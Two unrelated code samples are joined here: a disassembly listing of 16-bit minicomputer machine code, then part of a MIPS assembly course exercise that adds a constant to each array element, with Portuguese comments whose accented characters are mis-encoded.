(0x0040) 0x0148 (0x000290) 0xBE03-0x02AF f:00137 d: 3 | R = OR[3]+687 (0x02AF), A # 0 0x014A (0x000294) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x014B (0x000296) 0x2925- f:00024 d: 293 | OR[293] = A 0x014C (0x000298) 0x1800-0x0041 f:00014 d: 0 | A = 65 (0x0041) 0x014E (0x00029C) 0x2926- f:00024 d: 294 | OR[294] = A 0x014F (0x00029E) 0x1800-0x0000 f:00014 d: 0 | A = 0 (0x0000) 0x0151 (0x0002A2) 0x2927- f:00024 d: 295 | OR[295] = A 0x0152 (0x0002A4) 0x211C- f:00020 d: 284 | A = OR[284] 0x0153 (0x0002A6) 0x2928- f:00024 d: 296 | OR[296] = A 0x0154 (0x0002A8) 0x1800-0x0020 f:00014 d: 0 | A = 32 (0x0020) 0x0156 (0x0002AC) 0x2929- f:00024 d: 297 | OR[297] = A 0x0157 (0x0002AE) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0158 (0x0002B0) 0x292A- f:00024 d: 298 | OR[298] = A 0x0159 (0x0002B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x015A (0x0002B4) 0x292B- f:00024 d: 299 | OR[299] = A 0x015B (0x0002B6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x015C (0x0002B8) 0x292C- f:00024 d: 300 | OR[300] = A 0x015D (0x0002BA) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x015E (0x0002BC) 0x5800- f:00054 d: 0 | B = A 0x015F (0x0002BE) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0161 (0x0002C2) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0162 (0x0002C4) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0163 (0x0002C6) 0x2925- f:00024 d: 293 | OR[293] = A 0x0164 (0x0002C8) 0x1800-0x0041 f:00014 d: 0 | A = 65 (0x0041) 0x0166 (0x0002CC) 0x2926- f:00024 d: 294 | OR[294] = A 0x0167 (0x0002CE) 0x1800-0x0002 f:00014 d: 0 | A = 2 (0x0002) 0x0169 (0x0002D2) 0x2927- f:00024 d: 295 | OR[295] = A 0x016A (0x0002D4) 0x211C- f:00020 d: 284 | A = OR[284] 0x016B (0x0002D6) 0x2928- f:00024 d: 296 | OR[296] = A 0x016C (0x0002D8) 0x1800-0x0015 f:00014 d: 0 | A = 21 (0x0015) 0x016E (0x0002DC) 0x2929- f:00024 d: 297 | OR[297] = A 0x016F (0x0002DE) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0170 (0x0002E0) 0x292A- f:00024 d: 298 | OR[298] = A 0x0171 (0x0002E2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0172 (0x0002E4) 0x292B- f:00024 d: 299 | OR[299] = A 0x0173 (0x0002E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0174 (0x0002E8) 0x292C- f:00024 d: 300 | OR[300] = A 0x0175 (0x0002EA) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0176 (0x0002EC) 0x5800- f:00054 d: 0 | B = A 0x0177 (0x0002EE) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0179 (0x0002F2) 0x7C09- f:00076 d: 9 | R = OR[9] 0x017A (0x0002F4) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x017B (0x0002F6) 0x2925- f:00024 d: 293 | OR[293] = A 0x017C (0x0002F8) 0x1800-0x0123 f:00014 d: 0 | A = 291 (0x0123) 0x017E (0x0002FC) 0x2926- f:00024 d: 294 | OR[294] = A 0x017F (0x0002FE) 0x1800-0x0005 f:00014 d: 0 | A = 5 (0x0005) 0x0181 (0x000302) 0x2927- f:00024 d: 295 | OR[295] = A 0x0182 (0x000304) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0183 (0x000306) 0x2928- f:00024 d: 296 | OR[296] = A 0x0184 (0x000308) 0x1026- f:00010 d: 38 | A = 38 (0x0026) 0x0185 (0x00030A) 0x2929- f:00024 d: 297 | OR[297] = A 0x0186 (0x00030C) 0x211C- f:00020 d: 284 | A = OR[284] 0x0187 (0x00030E) 0x292A- f:00024 d: 298 | OR[298] = A 0x0188 (0x000310) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0189 (0x000312) 0x292B- f:00024 d: 299 | OR[299] = A 0x018A (0x000314) 0x1800-0x0028 f:00014 d: 0 | A = 40 (0x0028) 0x018C (0x000318) 0x292C- f:00024 d: 300 | OR[300] = A 0x018D (0x00031A) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x018E (0x00031C) 0x5800- f:00054 d: 0 | B = A 0x018F (0x00031E) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0191 (0x000322) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0192 (0x000324) 0x2100- f:00020 d: 256 | A = OR[256] 0x0193 (0x000326) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015) 0x0194 (0x000328) 0x2908- f:00024 d: 264 | OR[264] = A 0x0195 (0x00032A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0196 (0x00032C) 0x2913- f:00024 d: 275 | OR[275] = A 0x0197 (0x00032E) 0x2113- f:00020 d: 275 | A = OR[275] 0x0198 (0x000330) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020) 0x0199 (0x000332) 0x8004- f:00100 d: 4 | P = P + 4 (0x019D), C = 0 0x019A (0x000334) 0x8403- f:00102 d: 3 | P = P + 3 (0x019D), A = 0 0x019B (0x000336) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x019C (0x000338) 0x2913- f:00024 d: 275 | OR[275] = A 0x019D (0x00033A) 0x2100- f:00020 d: 256 | A = OR[256] 0x019E (0x00033C) 0x1419- f:00012 d: 25 | A = A + 25 (0x0019) 0x019F (0x00033E) 0x2908- f:00024 d: 264 | OR[264] = A 0x01A0 (0x000340) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01A1 (0x000342) 0x8604- f:00103 d: 4 | P = P + 4 (0x01A5), A # 0 0x01A2 (0x000344) 0x2113- f:00020 d: 275 | A = OR[275] 0x01A3 (0x000346) 0x8602- f:00103 d: 2 | P = P + 2 (0x01A5), A # 0 0x01A4 (0x000348) 0x7041- f:00070 d: 65 | P = P + 65 (0x01E5) 0x01A5 (0x00034A) 0x2F24- f:00027 d: 292 | OR[292] = OR[292] - 1 0x01A6 (0x00034C) 0x2124- f:00020 d: 292 | A = OR[292] 0x01A7 (0x00034E) 0x8402- f:00102 d: 2 | P = P + 2 (0x01A9), A = 0 0x01A8 (0x000350) 0x703D- f:00070 d: 61 | P = P + 61 (0x01E5) 0x01A9 (0x000352) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01AA (0x000354) 0x2925- f:00024 d: 293 | OR[293] = A 0x01AB (0x000356) 0x1800-0x0123 f:00014 d: 0 | A = 291 (0x0123) 0x01AD (0x00035A) 0x2926- f:00024 d: 294 | OR[294] = A 0x01AE (0x00035C) 0x1800-0x0003 f:00014 d: 0 | A = 3 (0x0003) 0x01B0 (0x000360) 0x2927- f:00024 d: 295 | OR[295] = A 0x01B1 (0x000362) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B2 (0x000364) 0x2928- f:00024 d: 296 | OR[296] = A 0x01B3 (0x000366) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B4 (0x000368) 0x2929- f:00024 d: 297 | OR[297] = A 0x01B5 (0x00036A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B6 (0x00036C) 0x292A- f:00024 d: 298 | OR[298] = A 0x01B7 (0x00036E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B8 (0x000370) 0x292B- f:00024 d: 299 | OR[299] = A 0x01B9 (0x000372) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01BA (0x000374) 0x292C- f:00024 d: 300 | OR[300] = A 0x01BB (0x000376) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x01BC (0x000378) 0x5800- f:00054 d: 0 | B = A 0x01BD (0x00037A) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x01BF (0x00037E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01C0 (0x000380) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01C1 (0x000382) 0x2914- f:00024 d: 276 | OR[276] = A 0x01C2 (0x000384) 0x1032- f:00010 d: 50 | A = 50 (0x0032) 0x01C3 (0x000386) 0x2915- f:00024 d: 277 | OR[277] = A 0x01C4 (0x000388) 0x2102- f:00020 d: 258 | A = OR[258] 0x01C5 (0x00038A) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x01C6 (0x00038C) 0x2908- f:00024 d: 264 | OR[264] = A 0x01C7 (0x00038E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01C8 (0x000390) 0x2913- f:00024 d: 275 | OR[275] = A 0x01C9 (0x000392) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01CA (0x000394) 0x2925- f:00024 d: 293 | OR[293] = A 0x01CB (0x000396) 0x1800-0x001B f:00014 d: 0 | A = 27 (0x001B) 0x01CD (0x00039A) 0x2926- f:00024 d: 294 | OR[294] = A 0x01CE (0x00039C) 0x2113- f:00020 d: 275 | A = OR[275] 0x01CF (0x00039E) 0x2927- f:00024 d: 295 | OR[295] = A 0x01D0 (0x0003A0) 0x2115- f:00020 d: 277 | A = OR[277] 0x01D1 (0x0003A2) 0x2928- f:00024 d: 296 | OR[296] = A 0x01D2 (0x0003A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01D3 (0x0003A6) 0x2929- f:00024 d: 297 | OR[297] = A 0x01D4 (0x0003A8) 0x2113- f:00020 d: 275 | A = OR[275] 0x01D5 (0x0003AA) 0x292A- f:00024 d: 298 | OR[298] = A 0x01D6 (0x0003AC) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x01D7 (0x0003AE) 0x292B- f:00024 d: 299 | OR[299] = A 0x01D8 (0x0003B0) 0x1015- f:00010 d: 21 | A = 21 (0x0015) 0x01D9 (0x0003B2) 0x292C- f:00024 d: 300 | OR[300] = A 0x01DA (0x0003B4) 0x1018- f:00010 d: 24 | A = 24 (0x0018) 0x01DB (0x0003B6) 0x292D- f:00024 d: 301 | OR[301] = A 0x01DC (0x0003B8) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x01DD (0x0003BA) 0x5800- f:00054 d: 0 | B = A 0x01DE (0x0003BC) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x01E0 (0x0003C0) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01E1 (0x0003C2) 0x2124- f:00020 d: 292 | A = OR[292] 0x01E2 (0x0003C4) 0x8603- f:00103 d: 3 | P = P + 3 (0x01E5), A # 0 0x01E3 (0x0003C6) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x01E4 (0x0003C8) 0x2924- f:00024 d: 292 | OR[292] = A 0x01E5 (0x0003CA) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1 0x01E6 (0x0003CC) 0x3104- f:00030 d: 260 | A = (OR[260]) 0x01E7 (0x0003CE) 0x2904- f:00024 d: 260 | OR[260] = A 0x01E8 (0x0003D0) 0x2104- f:00020 d: 260 | A = OR[260] 0x01E9 (0x0003D2) 0x2706- f:00023 d: 262 | A = A - OR[262] 0x01EA (0x0003D4) 0x8007- f:00100 d: 7 | P = P + 7 (0x01F1), C = 0 0x01EB (0x0003D6) 0x2104- f:00020 d: 260 | A = OR[260] 0x01EC (0x0003D8) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x01ED (0x0003DA) 0x8003- f:00100 d: 3 | P = P + 3 (0x01F0), C = 0 0x01EE (0x0003DC) 0x8402- f:00102 d: 2 | P = P + 2 (0x01F0), A = 0 0x01EF (0x0003DE) 0x7002- f:00070 d: 2 | P = P + 2 (0x01F1) 0x01F0 (0x0003E0) 0x7003- f:00070 d: 3 | P = P + 3 (0x01F3) 0x01F1 (0x0003E2) 0x7C34- f:00076 d: 52 | R = OR[52] 0x01F2 (0x0003E4) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x01F3 (0x0003E6) 0x211A- f:00020 d: 282 | A = OR[282] 0x01F4 (0x0003E8) 0x290D- f:00024 d: 269 | OR[269] = A 0x01F5 (0x0003EA) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x01F6 (0x0003EC) 0xAE03-0x020F f:00127 d: 3 | P = OR[3]+527 (0x020F), A # 0 0x01F8 (0x0003F0) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x01F9 (0x0003F2) 0x2925- f:00024 d: 293 | OR[293] = A 0x01FA (0x0003F4) 0x210D- f:00020 d: 269 | A = OR[269] 0x01FB (0x0003F6) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x01FC (0x0003F8) 0x2926- f:00024 d: 294 | OR[294] = A 0x01FD (0x0003FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01FE (0x0003FC) 0x2927- f:00024 d: 295 | OR[295] = A 0x01FF (0x0003FE) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0200 (0x000400) 0x5800- f:00054 d: 0 | B = A 0x0201 (0x000402) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0203 (0x000406) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0204 (0x000408) 0x2006- f:00020 d: 6 | A = OR[6] 0x0205 (0x00040A) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0206 (0x00040C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0207 (0x00040E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0208 (0x000410) 0x7215- f:00071 d: 21 | P = P - 21 (0x01F3) 0x0209 (0x000412) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x020A (0x000414) 0x390D- f:00034 d: 269 | (OR[269]) = A 0x020B (0x000416) 0x2102- f:00020 d: 258 | A = OR[258] 0x020C (0x000418) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006) 0x020D (0x00041A) 0x2908- f:00024 d: 264 | OR[264] = A 0x020E (0x00041C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x020F (0x00041E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0210 (0x000420) 0x2113- f:00020 d: 275 | A = OR[275] 0x0211 (0x000422) 0x8602- f:00103 d: 2 | P = P + 2 (0x0213), A # 0 0x0212 (0x000424) 0x7076- f:00070 d: 118 | P = P + 118 (0x0288) 0x0213 (0x000426) 0x2102- f:00020 d: 258 | A = OR[258] 0x0214 (0x000428) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016) 0x0215 (0x00042A) 0x2908- f:00024 d: 264 | OR[264] = A 0x0216 (0x00042C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0217 (0x00042E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0218 (0x000430) 0x2102- f:00020 d: 258 | A = OR[258] 0x0219 (0x000432) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007) 0x021A (0x000434) 0x2908- f:00024 d: 264 | OR[264] = A 0x021B (0x000436) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x021C (0x000438) 0x2914- f:00024 d: 276 | OR[276] = A 0x021D (0x00043A) 0x2113- f:00020 d: 275 | A = OR[275] 0x021E (0x00043C) 0x2714- f:00023 d: 276 | A = A - OR[276] 0x021F (0x00043E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0221), A # 0 0x0220 (0x000440) 0x700F- f:00070 d: 15 | P = P + 15 (0x022F) 0x0221 (0x000442) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0222 (0x000444) 0x2925- f:00024 d: 293 | OR[293] = A 0x0223 (0x000446) 0x1800-0x0153 f:00014 d: 0 | A = 339 (0x0153) 0x0225 (0x00044A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0226 (0x00044C) 0x2114- f:00020 d: 276 | A = OR[276] 0x0227 (0x00044E) 0x2927- f:00024 d: 295 | OR[295] = A 0x0228 (0x000450) 0x2113- f:00020 d: 275 | A = OR[275] 0x0229 (0x000452) 0x2928- f:00024 d: 296 | OR[296] = A 0x022A (0x000454) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x022B (0x000456) 0x5800- f:00054 d: 0 | B = A 0x022C (0x000458) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x022E (0x00045C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x022F (0x00045E) 0x2102- f:00020 d: 258 | A = OR[258] 0x0230 (0x000460) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008) 0x0231 (0x000462) 0x2908- f:00024 d: 264 | OR[264] = A 0x0232 (0x000464) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0233 (0x000466) 0x2913- f:00024 d: 275 | OR[275] = A 0x0234 (0x000468) 0x2102- f:00020 d: 258 | A = OR[258] 0x0235 (0x00046A) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016) 0x0236 (0x00046C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0237 (0x00046E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0238 (0x000470) 0x2914- f:00024 d: 276 | OR[276] = A 0x0239 (0x000472) 0x2114- f:00020 d: 276 | A = OR[276] 0x023A (0x000474) 0x1E00-0x0004 f:00017 d: 0 | A = A - 4 (0x0004) 0x023C (0x000478) 0x8406- f:00102 d: 6 | P = P + 6 (0x0242), A = 0 0x023D (0x00047A) 0x2114- f:00020 d: 276 | A = OR[276] 0x023E (0x00047C) 0x1E00-0x000A f:00017 d: 0 | A = A - 10 (0x000A) 0x0240 (0x000480) 0x8402- f:00102 d: 2 | P = P + 2 (0x0242), A = 0 0x0241 (0x000482) 0x703C- f:00070 d: 60 | P = P + 60 (0x027D) 0x0242 (0x000484) 0x2102- f:00020 d: 258 | A = OR[258] 0x0243 (0x000486) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x0244 (0x000488) 0x2908- f:00024 d: 264 | OR[264] = A 0x0245 (0x00048A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0246 (0x00048C) 0x2915- f:00024 d: 277 | OR[277] = A 0x0247 (0x00048E) 0x2115- f:00020 d: 277 | A = OR[277] 0x0248 (0x000490) 0x8602- f:00103 d: 2 | P = P + 2 (0x024A), A # 0 0x0249 (0x000492) 0x7034- f:00070 d: 52 | P = P + 52 (0x027D) 0x024A (0x000494) 0x2102- f:00020 d: 258 | A = OR[258] 0x024B (0x000496) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015) 0x024C (0x000498) 0x2908- f:00024 d: 264 | OR[264] = A 0x024D (0x00049A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x024E (0x00049C) 0x2916- f:00024 d: 278 | OR[278] = A 0x024F (0x00049E) 0x2116- f:00020 d: 278 | A = OR[278] 0x0250 (0x0004A0) 0x271B- f:00023 d: 283 | A = A - OR[283] 0x0251 (0x0004A2) 0x8002- f:00100 d: 2 | P = P + 2 (0x0253), C = 0 0x0252 (0x0004A4) 0x7023- f:00070 d: 35 | P = P + 35 (0x0275) 0x0253 (0x0004A6) 0x2102- f:00020 d: 258 | A = OR[258] 0x0254 (0x0004A8) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020) 0x0255 (0x0004AA) 0x2917- f:00024 d: 279 | OR[279] = A 0x0256 (0x0004AC) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x0257 (0x0004AE) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x0258 (0x0004B0) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0259 (0x0004B2) 0x5800- f:00054 d: 0 | B = A 0x025A (0x0004B4) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x025B (0x0004B6) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x025C (0x0004B8) 0x2517- f:00022 d: 279 | A = A + OR[279] 0x025D (0x0004BA) 0x290D- f:00024 d: 269 | OR[269] = A 0x025E (0x0004BC) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x025F (0x0004BE) 0x4800- f:00044 d: 0 | A = A > B 0x0260 (0x0004C0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0261 (0x0004C2) 0x8602- f:00103 d: 2 | P = P + 2 (0x0263), A # 0 0x0262 (0x0004C4) 0x7005- f:00070 d: 5 | P = P + 5 (0x0267) 0x0263 (0x0004C6) 0x1800-0x7530 f:00014 d: 0 | A = 30000 (0x7530) 0x0265 (0x0004CA) 0x2916- f:00024 d: 278 | OR[278] = A 0x0266 (0x0004CC) 0x7007- f:00070 d: 7 | P = P + 7 (0x026D) 0x0267 (0x0004CE) 0x2102- f:00020 d: 258 | A = OR[258] 0x0268 (0x0004D0) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009) 0x0269 (0x0004D2) 0x2908- f:00024 d: 264 | OR[264] = A 0x026A (0x0004D4) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x026B (0x0004D6) 0x2916- f:00024 d: 278 | OR[278] = A 0x026C (0x0004D8) 0x2D16- f:00026 d: 278 | OR[278] = OR[278] + 1 0x026D (0x0004DA) 0x2102- f:00020 d: 258 | A = OR[258] 0x026E (0x0004DC) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009) 0x026F (0x0004DE) 0x2908- f:00024 d: 264 | OR[264] = A 0x0270 (0x0004E0) 0x2116- f:00020 d: 278 | A = OR[278] 0x0271 (0x0004E2) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0272 (0x0004E4) 0x2115- f:00020 d: 277 | A = OR[277] 0x0273 (0x0004E6) 0x2916- f:00024 d: 278 | OR[278] = A 0x0274 (0x0004E8) 0x7004- f:00070 d: 4 | P = P + 4 (0x0278) 0x0275 (0x0004EA) 0x2116- f:00020 d: 278 | A = OR[278] 0x0276 (0x0004EC) 0x271B- f:00023 d: 283 | A = A - OR[283] 0x0277 (0x0004EE) 0x2916- f:00024 d: 278 | OR[278] = A 0x0278 (0x0004F0) 0x2102- f:00020 d: 258 | A = OR[258] 0x0279 (0x0004F2) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015) 0x027A (0x0004F4) 0x2908- f:00024 d: 264 | OR[264] = A 0x027B (0x0004F6) 0x2116- f:00020 d: 278 | A = OR[278] 0x027C (0x0004F8) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x027D (0x0004FA) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x027E (0x0004FC) 0x2925- f:00024 d: 293 | OR[293] = A 0x027F (0x0004FE) 0x2113- f:00020 d: 275 | A = OR[275] 0x0280 (0x000500) 0x2926- f:00024 d: 294 | OR[294] = A 0x0281 (0x000502) 0x2114- f:00020 d: 276 | A = OR[276] 0x0282 (0x000504) 0x2927- f:00024 d: 295 | OR[295] = A 0x0283 (0x000506) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0284 (0x000508) 0x5800- f:00054 d: 0 | B = A 0x0285 (0x00050A) 0x1800-0x1B18 f:00014 d: 0 | A = 6936 (0x1B18) 0x0287 (0x00050E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0288 (0x000510) 0x211A- f:00020 d: 282 | A = OR[282] 0x0289 (0x000512) 0x290D- f:00024 d: 269 | OR[269] = A 0x028A (0x000514) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x028B (0x000516) 0x390D- f:00034 d: 269 | (OR[269]) = A 0x028C (0x000518) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1 0x028D (0x00051A) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x028E (0x00051C) 0x8409- f:00102 d: 9 | P = P + 9 (0x0297), A = 0 0x028F (0x00051E) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0290 (0x000520) 0x2925- f:00024 d: 293 | OR[293] = A 0x0291 (0x000522) 0x210D- f:00020 d: 269 | A = OR[269] 0x0292 (0x000524) 0x2926- f:00024 d: 294 | OR[294] = A 0x0293 (0x000526) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0294 (0x000528) 0x5800- f:00054 d: 0 | B = A 0x0295 (0x00052A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0296 (0x00052C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0297 (0x00052E) 0x7A03-0x0011 f:00075 d: 3 | P = OR[3]+17 (0x0011) 0x0299 (0x000532) 0x4C4F- f:00046 d: 79 | A = A >> B | **** non-standard encoding with D:0x004F **** 0x029A (0x000534) 0x474F- f:00043 d: 335 | C = 1, IOB = BZ | **** non-standard encoding with D:0x014F **** 0x029B (0x000536) 0x4646- f:00043 d: 70 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0046 **** 0x029C (0x000538) 0x2049- f:00020 d: 73 | A = OR[73] 0x029D (0x00053A) 0x4E49- f:00047 d: 73 | A = A << B | **** non-standard encoding with D:0x0049 **** 0x029E (0x00053C) 0x5449- f:00052 d: 73 | A = A + B | **** non-standard encoding with D:0x0049 **** 0x029F (0x00053E) 0x4154- f:00040 d: 340 | C = 1, io 0524 = DN 0x02A0 (0x000540) 0x4544- f:00042 d: 324 | C = 1, IOB = DN | **** non-standard encoding with D:0x0144 **** 0x02A1 (0x000542) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A2 (0x000544) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A3 (0x000546) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A4 (0x000548) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A5 (0x00054A) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A6 (0x00054C) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A7 (0x00054E) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A8 (0x000550) 0x2020- f:00020 d: 32 | A = OR[32] 0x02A9 (0x000552) 0x2113- f:00020 d: 275 | A = OR[275] 0x02AA (0x000554) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x02AB (0x000556) 0x290D- f:00024 d: 269 | OR[269] = A 0x02AC (0x000558) 0x2114- f:00020 d: 276 | A = OR[276] 0x02AD (0x00055A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x02AE (0x00055C) 0x251C- f:00022 d: 284 | A = A + OR[284] 0x02AF (0x00055E) 0x290E- f:00024 d: 270 | OR[270] = A 0x02B0 (0x000560) 0x2114- f:00020 d: 276 | A = OR[276] 0x02B1 (0x000562) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x02B2 (0x000564) 0x2908- f:00024 d: 264 | OR[264] = A 0x02B3 (0x000566) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02B4 (0x000568) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x02B5 (0x00056A) 0x8607- f:00103 d: 7 | P = P + 7 (0x02BC), A # 0 0x02B6 (0x00056C) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x02B7 (0x00056E) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x02B8 (0x000570) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x02B9 (0x000572) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x02BA (0x000574) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x02BB (0x000576) 0x7006- f:00070 d: 6 | P = P + 6 (0x02C1) 0x02BC (0x000578) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x02BD (0x00057A) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x02BF (0x00057E) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x02C0 (0x000580) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x02C1 (0x000582) 0x0200- f:00001 d: 0 | EXIT 0x02C2 (0x000584) 0x0000- f:00000 d: 0 | PASS 0x02C3 (0x000586) 0x0000- f:00000 d: 0 | PASS
80.603318
127
0.462706
7c72207d145b2c4c3e04f50c3480e6b90aab557b
2,410
asm
Assembly
computer engeneering/ARQ1/T1/soma.asm
kehwhyn/PUC-RS
6bead86bb738df60da1491030f9d6b511be0fcb5
[ "MIT" ]
null
null
null
computer engeneering/ARQ1/T1/soma.asm
kehwhyn/PUC-RS
6bead86bb738df60da1491030f9d6b511be0fcb5
[ "MIT" ]
null
null
null
computer engeneering/ARQ1/T1/soma.asm
kehwhyn/PUC-RS
6bead86bb738df60da1491030f9d6b511be0fcb5
[ "MIT" ]
null
null
null
############################################################################################### # Exemplo de programa em linguagem de montagem do MIPS : Manipulando vetores # Autor: Ney Calazans # Fun��o: Este programa soma o valor de uma constante (const) a cada elemento do vetor array ############################################################################################### # PUS IOS NOPS AONDE EU ACHEI DEPENDENCIAS .text # Diretiva para o montador - adiciona o que vem abaixo # � mem�ria de programa do processador .globl main # Declara o r�tulo main Como sendo global # este � o ponto a partir de onde se inicia a execu��o main: la $t0, array # o registrador $t0 cont�m o endere�o do vetor la $t1, size # obt�m o endere�o da posi��o da mem�ria de dados onde se guarda nop nop nop # o tamanho do vetor lw $t1, 0($t1) # o registrador $t1 cont�m o tamanho do vetor la $t2, const # obt�m o endere�o da constante const nop nop nop lw $t2, 0($t2) # o registrador $t2 cont�m a constante a somar loop: blez $t1, end # se o tamanho chega a 0, fim do processamento lw $t3, 0($t0) # obt�m um elemento do vetor nop nop nop addu $t3, $t3, $t2 # soma a constante nop nop nop sw $t3, 0($t0) # atualiza o vetor addiu $t0, $t0 ,4 # atualiza o apontador do vetor # lembrar que 1 palavra no MIPS ocupa 4 endere�os 